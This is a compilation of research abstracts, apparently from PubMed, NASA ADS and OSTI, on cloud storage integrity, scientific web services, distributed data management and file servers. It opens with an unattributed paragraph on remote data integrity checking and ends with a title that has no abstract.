Cloud computing which has collected extent concentration from communities of research and with industry research development, a large pool of computing resources using virtualized sharing method like storage, processing power, applications and services. The users of cloud are vend with on demand resources as they want in the cloud computing. Outsourced file of the cloud user can easily tampered as it is stored at the third party service providers databases, so there is no integrity of cloud users data as it has no control on their data, therefore providing security assurance to the users data has become one of the primary concern for the cloud service providers. Cloud servers are not responsible for any data loss as it doesn’t provide the security assurance to the cloud user data. Remote data integrity checking (RDIC) licenses an information to data storage server, to determine that it is really storing an owners data truthfully. RDIC is composed of security model and ID-based RDIC where it is responsible for the security of every server and make sure the data privacy of cloud user against the third party verifier. Generally, by running a two-party Remote data integrity checking (RDIC) protocol the clients would themselves be able to check the information trustworthiness of their cloud. Within the two party scenario the verifying result is given either from the information holder or the cloud server may be considered as one-sided. Public verifiability feature of RDIC gives the privilege to all its users to verify whether the original data is modified or not. To ensure the transparency of the publicly verifiable RDIC protocols, Let’s figure out there exists a TPA who is having knowledge and efficiency to verify the work to provide the condition clearly by publicly verifiable RDIC protocols.

Opal web services for biomedical applications.

PubMed

Ren, Jingyuan; Williams, Nadya; Clementi, Luca; Krishnan, Sriram; Li, Wilfred W

2010-07-01

Biomedical applications have become increasingly complex, and they often require large-scale high-performance computing resources with a large number of processors and memory. The complexity of application deployment and the advances in cluster, grid and cloud computing require new modes of support for biomedical research. Scientific Software as a Service (sSaaS) enables scalable and transparent access to biomedical applications through simple standards-based Web interfaces. Towards this end, we built a production web server (http://ws.nbcr.net) in August 2007 to support the bioinformatics application called MEME. The server has grown since to include docking analysis with AutoDock and AutoDock Vina, electrostatic calculations using PDB2PQR and APBS, and off-target analysis using SMAP. All the applications on the servers are powered by Opal, a toolkit that allows users to wrap scientific applications easily as web services without any modification to the scientific codes, by writing simple XML configuration files. Opal allows both web forms-based access and programmatic access of all our applications. The Opal toolkit currently supports SOAP-based Web service access to a number of popular applications from the National Biomedical Computation Resource (NBCR) and affiliated collaborative and service projects. In addition, Opal's programmatic access capability allows our applications to be accessed through many workflow tools, including Vision, Kepler, Nimrod/K and VisTrails. From mid-August 2007 to the end of 2009, we have successfully executed 239,814 jobs. The number of successfully executed jobs more than doubled from 205 to 411 per day between 2008 and 2009. The Opal-enabled service model is useful for a wide range of applications. It provides for interoperation with other applications with Web Service interfaces, and allows application developers to focus on the scientific tool and workflow development. Web server availability: http://ws.nbcr.net.

Feature Geo Analytics and Big Data Processing: Hybrid Approaches for Earth Science and Real-Time Decision Support

NASA Astrophysics Data System (ADS)

Wright, D. J.; Raad, M.; Hoel, E.; Park, M.; Mollenkopf, A.; Trujillo, R.

2016-12-01

Introduced is a new approach for processing spatiotemporal big data by leveraging distributed analytics and storage. A suite of temporally-aware analysis tools summarizes data nearby or within variable windows, aggregates points (e.g., for various sensor observations or vessel positions), reconstructs time-enabled points into tracks (e.g., for mapping and visualizing storm tracks), joins features (e.g., to find associations between features based on attributes, spatial relationships, temporal relationships or all three simultaneously), calculates point densities, finds hot spots (e.g., in species distributions), and creates space-time slices and cubes (e.g., in microweather applications with temperature, humidity, and pressure, or within human mobility studies). These "feature geo analytics" tools run in both batch and streaming spatial analysis mode as distributed computations across a cluster of servers on typical "big" data sets, where static data exist in traditional geospatial formats (e.g., shapefile) locally on a disk or file share, attached as static spatiotemporal big data stores, or streamed in near-real-time. In other words, the approach registers large datasets or data stores with ArcGIS Server, then distributes analysis across a cluster of machines for parallel processing. Several brief use cases will be highlighted based on a 16-node server cluster at 14 Gb RAM per node, allowing, for example, the buffering of over 8 million points or thousands of polygons in 1 minute. The approach is "hybrid" in that ArcGIS Server integrates open-source big data frameworks such as Apache Hadoop and Apache Spark on the cluster in order to run the analytics. In addition, the user may devise and connect custom open-source interfaces and tools developed in Python or Python Notebooks; the common denominator being the familiar REST API.

Study on parallel and distributed management of RS data based on spatial data base

NASA Astrophysics Data System (ADS)

Chen, Yingbiao; Qian, Qinglan; Liu, Shijin

2006-12-01

With the rapid development of current earth-observing technology, RS image data storage, management and information publication become a bottle-neck for its appliance and popularization. There are two prominent problems in RS image data storage and management system. First, background server hardly handle the heavy process of great capacity of RS data which stored at different nodes in a distributing environment. A tough burden has put on the background server. Second, there is no unique, standard and rational organization of Multi-sensor RS data for its storage and management. And lots of information is lost or not included at storage. Faced at the above two problems, the paper has put forward a framework for RS image data parallel and distributed management and storage system. This system aims at RS data information system based on parallel background server and a distributed data management system. Aiming at the above two goals, this paper has studied the following key techniques and elicited some revelatory conclusions. The paper has put forward a solid index of "Pyramid, Block, Layer, Epoch" according to the properties of RS image data. With the solid index mechanism, a rational organization for different resolution, different area, different band and different period of Multi-sensor RS image data is completed. In data storage, RS data is not divided into binary large objects to be stored at current relational database system, while it is reconstructed through the above solid index mechanism. A logical image database for the RS image data file is constructed. In system architecture, this paper has set up a framework based on a parallel server of several common computers. Under the framework, the background process is divided into two parts, the common WEB process and parallel process.

A Functional Approach to Hyperspectral Image Analysis in the Cloud

NASA Astrophysics Data System (ADS)

Wilson, A.; Lindholm, D. M.; Coddington, O.; Pilewskie, P.

2017-12-01

Hyperspectral image volumes are very large. A hyperspectral image analysis (HIA) may use 100TB of data, a huge barrier to their use. Hylatis is a new NASA project to create a toolset for HIA. Through web notebook and cloud technology, Hylatis will provide a more interactive experience for HIA by defining and implementing concepts and operations for HIA, identified and vetted by subject matter experts, and callable within a general purpose language, particularly Python. Hylatis leverages LaTiS, a data access framework developed at LASP. With an OPeNDAP compliant interface plus additional server side capabilities, the LaTiS API provides a uniform interface to virtually any data source, and has been applied to various storage systems, including: file systems, databases, remote servers, and in various domains including: space science, systems administration and stock quotes. In the LaTiS architecture, data `adapters' read data into a data model, where server-side computations occur. Data `writers' write data from the data model into the desired format. The Hylatis difference is the data model. In LaTiS, data are represented as mathematical functions of independent and dependent variables. Domain semantics are not present at this level, but are instead present in higher software layers. The benefit of a domain agnostic, mathematical representation is having the power of math, particularly functional algebra, unconstrained by domain semantics. This agnosticism supports reusable server side functionality applicable in any domain, such as statistical, filtering, or projection operations. Algorithms to aggregate or fuse data can be simpler because domain semantics are separated from the math. Hylatis will map the functional model onto the Spark relational interface, thereby adding a functional interface to that big data engine.This presentation will discuss Hylatis goals, strategies, and current state.

Integration of digital gross pathology images for enterprise-wide access.

PubMed

Amin, Milon; Sharma, Gaurav; Parwani, Anil V; Anderson, Ralph; Kolowitz, Brian J; Piccoli, Anthony; Shrestha, Rasu B; Lauro, Gonzalo Romero; Pantanowitz, Liron

2012-01-01

Sharing digital pathology images for enterprise- wide use into a picture archiving and communication system (PACS) is not yet widely adopted. We share our solution and 3-year experience of transmitting such images to an enterprise image server (EIS). Gross pathology images acquired by prosectors were integrated with clinical cases into the laboratory information system's image management module, and stored in JPEG2000 format on a networked image server. Automated daily searches for cases with gross images were used to compile an ASCII text file that was forwarded to a separate institutional Enterprise Digital Imaging and Communications in Medicine (DICOM) Wrapper (EDW) server. Concurrently, an HL7-based image order for these cases was generated, containing the locations of images and patient data, and forwarded to the EDW, which combined data in these locations to generate images with patient data, as required by DICOM standards. The image and data were then "wrapped" according to DICOM standards, transferred to the PACS servers, and made accessible on an institution-wide basis. In total, 26,966 gross images from 9,733 cases were transmitted over the 3-year period from the laboratory information system to the EIS. The average process time for cases with successful automatic uploads (n=9,688) to the EIS was 98 seconds. Only 45 cases (0.5%) failed requiring manual intervention. Uploaded images were immediately available to institution- wide PACS users. Since inception, user feedback has been positive. Enterprise- wide PACS- based sharing of pathology images is feasible, provides useful services to clinical staff, and utilizes existing information system and telecommunications infrastructure. PACS-shared pathology images, however, require a "DICOM wrapper" for multisystem compatibility.

Integration of digital gross pathology images for enterprise-wide access

PubMed Central

Amin, Milon; Sharma, Gaurav; Parwani, Anil V.; Anderson, Ralph; Kolowitz, Brian J; Piccoli, Anthony; Shrestha, Rasu B.; Lauro, Gonzalo Romero; Pantanowitz, Liron

2012-01-01

Background: Sharing digital pathology images for enterprise- wide use into a picture archiving and communication system (PACS) is not yet widely adopted. We share our solution and 3-year experience of transmitting such images to an enterprise image server (EIS). Methods: Gross pathology images acquired by prosectors were integrated with clinical cases into the laboratory information system's image management module, and stored in JPEG2000 format on a networked image server. Automated daily searches for cases with gross images were used to compile an ASCII text file that was forwarded to a separate institutional Enterprise Digital Imaging and Communications in Medicine (DICOM) Wrapper (EDW) server. Concurrently, an HL7-based image order for these cases was generated, containing the locations of images and patient data, and forwarded to the EDW, which combined data in these locations to generate images with patient data, as required by DICOM standards. The image and data were then “wrapped” according to DICOM standards, transferred to the PACS servers, and made accessible on an institution-wide basis. Results: In total, 26,966 gross images from 9,733 cases were transmitted over the 3-year period from the laboratory information system to the EIS. The average process time for cases with successful automatic uploads (n=9,688) to the EIS was 98 seconds. Only 45 cases (0.5%) failed requiring manual intervention. Uploaded images were immediately available to institution- wide PACS users. Since inception, user feedback has been positive. Conclusions: Enterprise- wide PACS- based sharing of pathology images is feasible, provides useful services to clinical staff, and utilizes existing information system and telecommunications infrastructure. PACS-shared pathology images, however, require a “DICOM wrapper” for multisystem compatibility. PMID:22530178

EarthServer2 : The Marine Data Service - Web based and Programmatic Access to Ocean Colour Open Data

NASA Astrophysics Data System (ADS)

Clements, Oliver; Walker, Peter

2017-04-01

The ESA Ocean Colour - Climate Change Initiative (ESA OC-CCI) has produced a long-term high quality global dataset with associated per-pixel uncertainty data. This dataset has now grown to several hundred terabytes (uncompressed) and is freely available to download. However, the sheer size of the dataset can act as a barrier to many users; large network bandwidth, local storage and processing requirements can prevent researchers without the backing of a large organisation from taking advantage of this raw data. The EC H2020 project, EarthServer2, aims to create a federated data service providing access to more than 1 petabyte of earth science data. Within this federation the Marine Data Service already provides an innovative on-line tool-kit for filtering, analysing and visualising OC-CCI data. Data are made available, filtered and processed at source through a standards-based interface, the Open Geospatial Consortium Web Coverage Service and Web Coverage Processing Service. This work was initiated in the EC FP7 EarthServer project where it was found that the unfamiliarity and complexity of these interfaces itself created a barrier to wider uptake. The continuation project, EarthServer2, addresses these issues by providing higher level tools for working with these data. We will present some examples of these tools. Many researchers wish to extract time series data from discrete points of interest. We will present a web based interface, based on NASA/ESA WebWorldWind, for selecting points of interest and plotting time series from a chosen dataset. In addition, a CSV file of locations and times, such as a ship's track, can be uploaded and these points extracted and returned in a CSV file allowing researchers to work with the extract locally, such as a spreadsheet. We will also present a set of Python and JavaScript APIs that have been created to complement and extend the web based GUI. These APIs allow the selection of single points and areas for extraction. The extracted data is returned as structured data (for instance a Python array) which can then be passed directly to local processing code. We will highlight how the libraries can be used by the community and integrated into existing systems, for instance by the use of Jupyter notebooks to share Python code examples which can then be used by other researchers as a basis for their own work.

A peer-to-peer music sharing system based on query-by-humming

NASA Astrophysics Data System (ADS)

Wang, Jianrong; Chang, Xinglong; Zhao, Zheng; Zhang, Yebin; Shi, Qingwei

2007-09-01

Today, the main traffic in peer-to-peer (P2P) network is still multimedia files including large numbers of music files. The study of Music Information Retrieval (MIR) brings out many encouraging achievements in music search area. Nevertheless, the research of music search based on MIR in P2P network is still insufficient. Query by Humming (QBH) is one MIR technology studied for years. In this paper, we present a server based P2P music sharing system which is based on QBH and integrated with a Hierarchical Index Structure (HIS) to enhance the relation between surface data and potential information. HIS automatically evolving depends on the music related items carried by each peer such as midi files, lyrics and so forth. Instead of adding large amount of redundancy, the system generates a bit of index for multiple search input which improves the traditional keyword-based text search mode largely. When network bandwidth, speed, etc. are no longer a bottleneck of internet serve, the accessibility and accuracy of information provided by internet are being more concerned by end users.

Design and development of an interactive medical teleconsultation system over the World Wide Web.

PubMed

Bai, J; Zhang, Y; Dai, B

1998-06-01

The objective of the medical teleconsultation system presented in this paper is to demonstrate the use of the World Wide Web (WWW) for telemedicine and interactive medical information exchange. The system, which is developed based on Java, could provide several basic Java tools to fulfill the requirements of medical applications, including a file manager, data tool, bulletin board, and digital audio tool. The digital audio tool uses point-to-point structure to enable two physicians to communicate directly through voice. The others use multipoint structure. The file manager manages the medical images stored in the WWW information server, which come from a hospital database. The data tool supports cooperative operations on the medical data between the participating physicians. The bulletin board enables the users to discuss special cases by writing text on the board, send their personal or group diagnostic reports on the cases, and reorganize the reports and store them in its report file for later use. The system provides a hardware-independent platform for physicians to interact with one another as well as to access medical information over the WWW.

Web Extensible Display Manager

DOE Office of Scientific and Technical Information (OSTI.GOV)

Slominski, Ryan; Larrieu, Theodore L.

Jefferson Lab's Web Extensible Display Manager (WEDM) allows staff to access EDM control system screens from a web browser in remote offices and from mobile devices. Native browser technologies are leveraged to avoid installing and managing software on remote clients such as browser plugins, tunnel applications, or an EDM environment. Since standard network ports are used firewall exceptions are minimized. To avoid security concerns from remote users modifying a control system, WEDM exposes read-only access and basic web authentication can be used to further restrict access. Updates of monitored EPICS channels are delivered via a Web Socket using a webmore » gateway. The software translates EDM description files (denoted with the edl suffix) to HTML with Scalable Vector Graphics (SVG) following the EDM's edl file vector drawing rules to create faithful screen renderings. The WEDM server parses edl files and creates the HTML equivalent in real-time allowing existing screens to work without modification. Alternatively, the familiar drag and drop EDM screen creation tool can be used to create optimized screens sized specifically for smart phones and then rendered by WEDM.« less

Adding tools to the open source toolbox: The Internet

NASA Technical Reports Server (NTRS)

Porth, Tricia

1994-01-01

The Internet offers researchers additional sources of information not easily available from traditional sources such as print volumes or commercial data bases. Internet tools such as e-mail and file transfer protocol (ftp) speed up the way researchers communicate and transmit data. Mosaic, one of the newest additions to the Internet toolbox, allows users to combine tools such as ftp, gopher, wide area information server, and the world wide web with multimedia capabilities. Mosaic has quickly become a popular means of making information available on the Internet because it is versatile and easily customizable.

High volume data storage architecture analysis

NASA Technical Reports Server (NTRS)

Malik, James M.

1990-01-01

A High Volume Data Storage Architecture Analysis was conducted. The results, presented in this report, will be applied to problems of high volume data requirements such as those anticipated for the Space Station Control Center. High volume data storage systems at several different sites were analyzed for archive capacity, storage hierarchy and migration philosophy, and retrieval capabilities. Proposed architectures were solicited from the sites selected for in-depth analysis. Model architectures for a hypothetical data archiving system, for a high speed file server, and for high volume data storage are attached.

dada - a web-based 2D detector analysis tool

NASA Astrophysics Data System (ADS)

Osterhoff, Markus

2017-06-01

The data daemon, dada, is a server backend for unified access to 2D pixel detector image data stored with different detectors, file formats and saved with varying naming conventions and folder structures across instruments. Furthermore, dada implements basic pre-processing and analysis routines from pixel binning over azimuthal integration to raster scan processing. Common user interactions with dada are by a web frontend, but all parameters for an analysis are encoded into a Uniform Resource Identifier (URI) which can also be written by hand or scripts for batch processing.

mod_bio: Apache modules for Next-Generation sequencing data.

PubMed

Lindenbaum, Pierre; Redon, Richard

2015-01-01

We describe mod_bio, a set of modules for the Apache HTTP server that allows the users to access and query fastq, tabix, fasta and bam files through a Web browser. Those data are made available in plain text, HTML, XML, JSON and JSON-P. A javascript-based genome browser using the JSON-P communication technique is provided as an example of cross-domain Web service. https://github.com/lindenb/mod_bio. © The Author 2014. Published by Oxford University Press. All rights reserved. For Permissions, please e-mail: journals.permissions@oup.com.

Saada: A Generator of Astronomical Database

NASA Astrophysics Data System (ADS)

Michel, L.

2011-11-01

Saada transforms a set of heterogeneous FITS files or VOtables of various categories (images, tables, spectra, etc.) in a powerful database deployed on the Web. Databases are located on your host and stay independent of any external server. This job doesn’t require writing code. Saada can mix data of various categories in multiple collections. Data collections can be linked each to others making relevant browsing paths and allowing data-mining oriented queries. Saada supports 4 VO services (Spectra, images, sources and TAP) . Data collections can be published immediately after the deployment of the Web interface.

SedMob: A mobile application for creating sedimentary logs in the field

NASA Astrophysics Data System (ADS)

Wolniewicz, Pawel

2014-05-01

SedMob is an open-source, mobile software package for creating sedimentary logs, targeted for use in tablets and smartphones. The user can create an unlimited number of logs, save data from each bed in the log as well as export and synchronize the data with a remote server. SedMob is designed as a mobile interface to SedLog: a free multiplatform package for drawing graphic logs that runs on PC computers. Data entered into SedMob are saved in the CSV file format, fully compatible with SedLog.

Using Content Distribution Networks for Astronomy Outreach

NASA Astrophysics Data System (ADS)

Jäger, M.; Christiansen, L. L.; André, M.

2015-09-01

Thousands of people from all over the world search the internet on a daily basis for the newest discoveries in astronomy: be it in the form of press releases, high resolution images, videos or even planetarium fulldome content. The growing amount of data available, combined with the increasing number of media files and users distributed across the globe, leads to a significant decrease in speed for those users located furthest from the server delivering the content. One solution for bringing astronomical content to users faster is to use a content delivery network.

A Tale of Two Observing Systems: Interoperability in the World of Microsoft Windows

NASA Astrophysics Data System (ADS)

Babin, B. L.; Hu, L.

2008-12-01

Louisiana Universities Marine Consortium's (LUMCON) and Dauphin Island Sea Lab's (DISL) Environmental Monitoring System provide a unified coastal ocean observing system. These two systems are mirrored to maintain autonomy while offering an integrated data sharing environment. Both systems collect data via Campbell Scientific Data loggers, store the data in Microsoft SQL servers, and disseminate the data in real- time on the World Wide Web via Microsoft Internet Information Servers and Active Server Pages (ASP). The utilization of Microsoft Windows technologies presented many challenges to these observing systems as open source tools for interoperability grow. The current open source tools often require the installation of additional software. In order to make data available through common standards formats, "home grown" software has been developed. One example of this is the development of software to generate xml files for transmission to the National Data Buoy Center (NDBC). OOSTethys partners develop, test and implement easy-to-use, open-source, OGC-compliant software., and have created a working prototype of networked, semantically interoperable, real-time data systems. Partnering with OOSTethys, we are developing a cookbook to implement OGC web services. The implementation will be written in ASP, will run in a Microsoft operating system environment, and will serve data via Sensor Observation Services (SOS). This cookbook will give observing systems running Microsoft Windows the tools to easily participate in the Open Geospatial Consortium (OGC) Oceans Interoperability Experiment (OCEANS IE).

JobCenter: an open source, cross-platform, and distributed job queue management system optimized for scalability and versatility

PubMed Central

2012-01-01

Background Laboratories engaged in computational biology or bioinformatics frequently need to run lengthy, multistep, and user-driven computational jobs. Each job can tie up a computer for a few minutes to several days, and many laboratories lack the expertise or resources to build and maintain a dedicated computer cluster. Results JobCenter is a client–server application and framework for job management and distributed job execution. The client and server components are both written in Java and are cross-platform and relatively easy to install. All communication with the server is client-driven, which allows worker nodes to run anywhere (even behind external firewalls or “in the cloud”) and provides inherent load balancing. Adding a worker node to the worker pool is as simple as dropping the JobCenter client files onto any computer and performing basic configuration, which provides tremendous ease-of-use, flexibility, and limitless horizontal scalability. Each worker installation may be independently configured, including the types of jobs it is able to run. Executed jobs may be written in any language and may include multistep workflows. Conclusions JobCenter is a versatile and scalable distributed job management system that allows laboratories to very efficiently distribute all computational work among available resources. JobCenter is freely available at http://code.google.com/p/jobcenter/. PMID:22846423

Zebra: a web server for bioinformatic analysis of diverse protein families.

PubMed

Suplatov, Dmitry; Kirilin, Evgeny; Takhaveev, Vakil; Svedas, Vytas

2014-01-01

During evolution of proteins from a common ancestor, one functional property can be preserved while others can vary leading to functional diversity. A systematic study of the corresponding adaptive mutations provides a key to one of the most challenging problems of modern structural biology - understanding the impact of amino acid substitutions on protein function. The subfamily-specific positions (SSPs) are conserved within functional subfamilies but are different between them and, therefore, seem to be responsible for functional diversity in protein superfamilies. Consequently, a corresponding method to perform the bioinformatic analysis of sequence and structural data has to be implemented in the common laboratory practice to study the structure-function relationship in proteins and develop novel protein engineering strategies. This paper describes Zebra web server - a powerful remote platform that implements a novel bioinformatic analysis algorithm to study diverse protein families. It is the first application that provides specificity determinants at different levels of functional classification, therefore addressing complex functional diversity of large superfamilies. Statistical analysis is implemented to automatically select a set of highly significant SSPs to be used as hotspots for directed evolution or rational design experiments and analyzed studying the structure-function relationship. Zebra results are provided in two ways - (1) as a single all-in-one parsable text file and (2) as PyMol sessions with structural representation of SSPs. Zebra web server is available at http://biokinet.belozersky.msu.ru/zebra .

I/O load balancing for big data HPC applications

DOE Office of Scientific and Technical Information (OSTI.GOV)

Paul, Arnab K.; Goyal, Arpit; Wang, Feiyi

High Performance Computing (HPC) big data problems require efficient distributed storage systems. However, at scale, such storage systems often experience load imbalance and resource contention due to two factors: the bursty nature of scientific application I/O; and the complex I/O path that is without centralized arbitration and control. For example, the extant Lustre parallel file system-that supports many HPC centers-comprises numerous components connected via custom network topologies, and serves varying demands of a large number of users and applications. Consequently, some storage servers can be more loaded than others, which creates bottlenecks and reduces overall application I/O performance. Existing solutionsmore » typically focus on per application load balancing, and thus are not as effective given their lack of a global view of the system. In this paper, we propose a data-driven approach to load balance the I/O servers at scale, targeted at Lustre deployments. To this end, we design a global mapper on Lustre Metadata Server, which gathers runtime statistics from key storage components on the I/O path, and applies Markov chain modeling and a minimum-cost maximum-flow algorithm to decide where data should be placed. Evaluation using a realistic system simulator and a real setup shows that our approach yields better load balancing, which in turn can improve end-to-end performance.« less

Radiometric responsivity determination for Feature Identification and Location Experiment (FILE) flown on space shuttle mission

NASA Technical Reports Server (NTRS)

Wilson, R. G.; Davis, R. E.; Wright, R. E., Jr.; Sivertson, W. E., Jr.; Bullock, G. F.

1986-01-01

A procedure was developed to obtain the radiometric (radiance) responsivity of the Feature Identification and Local Experiment (FILE) instrument in preparation for its flight on Space Shuttle Mission 41-G (November 1984). This instrument was designed to obtain Earth feature radiance data in spectral bands centered at 0.65 and 0.85 microns, along with corroborative color and color-infrared photographs, and to collect data to evaluate a technique for in-orbit autonomous classification of the Earth's primary features. The calibration process incorporated both solar radiance measurements and radiative transfer model predictions in estimating expected radiance inputs to the FILE on the Shuttle. The measured data are compared with the model predictions, and the differences observed are discussed. Application of the calibration procedure to the FILE over an 18-month period indicated a constant responsivity characteristic. This report documents the calibration procedure and the associated radiometric measurements and predictions that were part of the instrument preparation for flight.

Using the STOQS Web Application for Access to in situ Oceanographic Data

NASA Astrophysics Data System (ADS)

McCann, M. P.

2012-12-01

Using the STOQS Web Application for Access to in situ Oceanographic Data Mike McCann 7 August 2012 With increasing measurement and sampling capabilities of autonomous oceanographic platforms (e.g. Gliders, Autonomous Underwater Vehicles, Wavegliders), the need to efficiently access and visualize the data they collect is growing. The Monterey Bay Aquarium Research Institute has designed and built the Spatial Temporal Oceanographic Query System (STOQS) specifically to address this issue. The need for STOQS arises from inefficiencies discovered from using CF-NetCDF point observation conventions for these data. The problem is that access efficiency decreases with decreasing dimension of CF-NetCDF data. For example, the Trajectory Common Data Model feature type has only one coordinate dimension, usually Time - positions of the trajectory (Depth, Latitude, Longitude) are stored as non-indexed record variables within the NetCDF file. If client software needs to access data between two depth values or from a bounded geographic area, then the whole data set must be read and the selection made within the client software. This is very inefficient. What is needed is a way to easily select data of interest from an archive given any number of spatial, temporal, or other constraints. Geospatial relational database technology provides this capability. The full STOQS application consists of a Postgres/PostGIS database, Mapserver, and Python-Django running on a server and Web 2.0 technology (jQuery, OpenLayers, Twitter Bootstrap) running in a modern web browser. The web application provides faceted search capabilities allowing a user to quickly drill into the data of interest. Data selection can be constrained by spatial, temporal, and depth selections as well as by parameter value and platform name. The web application layer also provides a REST (Representational State Transfer) Application Programming Interface allowing tools such as the Matlab stoqstoolbox to retrieve data directly from the database. STOQS is an open source software project built upon a framework of free and open source software and is available for anyone to use for making their data more accessible and usable. For more information please see: http://code.google.com/p/stoqs/.; In the above screen grab a user has selected the "mass_concentrtion_of_chlorophyll_in_sea_water" parameter and a time depth range that includes three weeks of AUV missions of just the upper 5 meters.

Software Architecture to Support the Evolution of the ISRU RESOLVE Engineering Breadboard Unit 2 (EBU2)

NASA Technical Reports Server (NTRS)

Moss, Thomas; Nurge, Mark; Perusich, Stephen

2011-01-01

The In-Situ Resource Utilization (ISRU) Regolith & Environmental Science and Oxygen & Lunar Volatiles Extraction (RESOLVE) software provides operation of the physical plant from a remote location with a high-level interface that can access and control the data from external software applications of other subsystems. This software allows autonomous control over the entire system with manual computer control of individual system/process components. It gives non-programmer operators the capability to easily modify the high-level autonomous sequencing while the software is in operation, as well as the ability to modify the low-level, file-based sequences prior to the system operation. Local automated control in a distributed system is also enabled where component control is maintained during the loss of network connectivity with the remote workstation. This innovation also minimizes network traffic. The software architecture commands and controls the latest generation of RESOLVE processes used to obtain, process, and quantify lunar regolith. The system is grouped into six sub-processes: Drill, Crush, Reactor, Lunar Water Resource Demonstration (LWRD), Regolith Volatiles Characterization (RVC) (see example), and Regolith Oxygen Extraction (ROE). Some processes are independent, some are dependent on other processes, and some are independent but run concurrently with other processes. The first goal is to analyze the volatiles emanating from lunar regolith, such as water, carbon monoxide, carbon dioxide, ammonia, hydrogen, and others. This is done by heating the soil and analyzing and capturing the volatilized product. The second goal is to produce water by reducing the soil at high temperatures with hydrogen. This is done by raising the reactor temperature in the range of 800 to 900 C, causing the reaction to progress by adding hydrogen, and then capturing the water product in a desiccant bed. The software needs to run the entire unit and all sub-processes; however, throughout testing, many variables and parameters need to be changed as more is learned about the system operation. The Master Events Controller (MEC) is run on a standard laptop PC using Windows XP. This PC runs in parallel to another laptop that monitors the GC, and a third PC that monitors the drilling/ crushing operation. These three PCs interface to the process through a CompactRIO, OPC Servers, and modems.

EarthServer - 3D Visualization on the Web

NASA Astrophysics Data System (ADS)

Wagner, Sebastian; Herzig, Pasquale; Bockholt, Ulrich; Jung, Yvonne; Behr, Johannes

2013-04-01

EarthServer (www.earthserver.eu), funded by the European Commission under its Seventh Framework Program, is a project to enable the management, access and exploration of massive, multi-dimensional datasets using Open GeoSpatial Consortium (OGC) query and processing language standards like WCS 2.0 and WCPS. To this end, a server/client architecture designed to handle Petabyte/Exabyte volumes of multi-dimensional data is being developed and deployed. As an important part of the EarthServer project, six Lighthouse Applications, major scientific data exploitation initiatives, are being established to make cross-domain, Earth Sciences related data repositories available in an open and unified manner, as service endpoints based on solutions and infrastructure developed within the project. Clients technology developed and deployed in EarthServer ranges from mobile and web clients to immersive virtual reality systems, all designed to interact with a physically and logically distributed server infrastructure using exclusively OGC standards. In this contribution, we would like to present our work on a web-based 3D visualization and interaction client for Earth Sciences data using only technology found in standard web browsers without requiring the user to install plugins or addons. Additionally, we are able to run the earth data visualization client on a wide range of different platforms with very different soft- and hardware requirements such as smart phones (e.g. iOS, Android), different desktop systems etc. High-quality, hardware-accelerated visualization of 3D and 4D content in standard web browsers can be realized now and we believe it will become more and more common to use this fast, lightweight and ubiquitous platform to provide insights into big datasets without requiring the user to set up a specialized client first. With that in mind, we will also point out some of the limitations we encountered using current web technologies. Underlying the EarthServer web client and on top of HTML5, WebGL and JavaScript we have developed the X3DOM framework (www.x3dom.org), which makes possible to embed declarative X3D scenegraphs, an ISO standard XML-based file format for representing 3D computer graphics, directly within HTML, thus enabling developers to rapidly design 3D content that blends seamlessly into HTML interfaces using Javascript. This approach (commonly referred to as a polyfill layer) is used to mimic native web browser support for declarative 3D content and is an important component in our web client architecture.

Evolution of the Data Access Protocol in Response to Community Needs

NASA Astrophysics Data System (ADS)

Gallagher, J.; Caron, J. L.; Davis, E.; Fulker, D.; Heimbigner, D.; Holloway, D.; Howe, B.; Moe, S.; Potter, N.

2012-12-01

Under the aegis of the OPULS (OPeNDAP-Unidata Linked Servers) Project, funded by NOAA, version 2 of OPeNDAP's Data Access Protocol (DAP2) is being updated to version 4. DAP4 is the first major upgrade in almost two decades and will embody three main areas of advancement. First, the data-model extensions developed by the OPULS team focus on three areas: Better support for coverages, access to HDF5 files and access to relational databases. DAP2 support for coverages (defined as a sampled functions) was limited to simple rectangular coverages that work well for (some) model outputs and processed satellite data but that cannot represent trajectories or satellite swath data, for example. We have extended the coverage concept in DAP4 to remove these limitations. These changes are informed by work at Unidata on the Common Data Model and also by the OGC's abstract coverages specification. In a similar vein, we have extended DAP2's support for relations by including the concept of foreign keys, so that tables can be explicitly related to one another. Second, the web interfaces - web services - that provides access to data using via DAP will be more clearly defined and use other (, orthogonal), standards where they are appropriate. An important case is the XML interface, which provides a cleaner way to build other response media types such as JSON and RDF (for metadata) and to build support for Atom, thus simplify the integration of DAP servers with tools that support OpenSearch. Input from the ESIP federation and work performed with IOOS have informed our choices here. Last, DAP4-compliant servers will support richer data-processing capabilities than DAP2, enabling a wider array of server functions that manipulate data before returning values. Two projects currently are exploring just what can be done even with DAP2's server-function model: The MIIC project at LARC and OPULS itself (with work performed at the University of Washington). Both projects have demonstrated that server functions can be used to perform operations on large volumes of data and return results that are far smaller than would be required to achieve the same outcomes via client-side processing. We are using information from these efforts to inform the design of server functions in DAP4. Each of the three areas of DAP4 advancement is being guided by input from a number of community members, including an OPULS Advisory Committee.

DPM — efficient storage in diverse environments

NASA Astrophysics Data System (ADS)

Hellmich, Martin; Furano, Fabrizio; Smith, David; Brito da Rocha, Ricardo; Álvarez Ayllón, Alejandro; Manzi, Andrea; Keeble, Oliver; Calvet, Ivan; Regala, Miguel Antonio

2014-06-01

Recent developments, including low power devices, cluster file systems and cloud storage, represent an explosion in the possibilities for deploying and managing grid storage. In this paper we present how different technologies can be leveraged to build a storage service with differing cost, power, performance, scalability and reliability profiles, using the popular storage solution Disk Pool Manager (DPM/dmlite) as the enabling technology. The storage manager DPM is designed for these new environments, allowing users to scale up and down as they need it, and optimizing their computing centers energy efficiency and costs. DPM runs on high-performance machines, profiting from multi-core and multi-CPU setups. It supports separating the database from the metadata server, the head node, largely reducing its hard disk requirements. Since version 1.8.6, DPM is released in EPEL and Fedora, simplifying distribution and maintenance, but also supporting the ARM architecture beside i386 and x86_64, allowing it to run the smallest low-power machines such as the Raspberry Pi or the CuBox. This usage is facilitated by the possibility to scale horizontally using a main database and a distributed memcached-powered namespace cache. Additionally, DPM supports a variety of storage pools in the backend, most importantly HDFS, S3-enabled storage, and cluster file systems, allowing users to fit their DPM installation exactly to their needs. In this paper, we investigate the power-efficiency and total cost of ownership of various DPM configurations. We develop metrics to evaluate the expected performance of a setup both in terms of namespace and disk access considering the overall cost including equipment, power consumptions, or data/storage fees. The setups tested range from the lowest scale using Raspberry Pis with only 700MHz single cores and a 100Mbps network connections, over conventional multi-core servers to typical virtual machine instances in cloud settings. We evaluate the combinations of different name server setups, for example load-balanced clusters, with different storage setups, from using a classic local configuration to private and public clouds.

Automated DICOM metadata and volumetric anatomical information extraction for radiation dosimetry

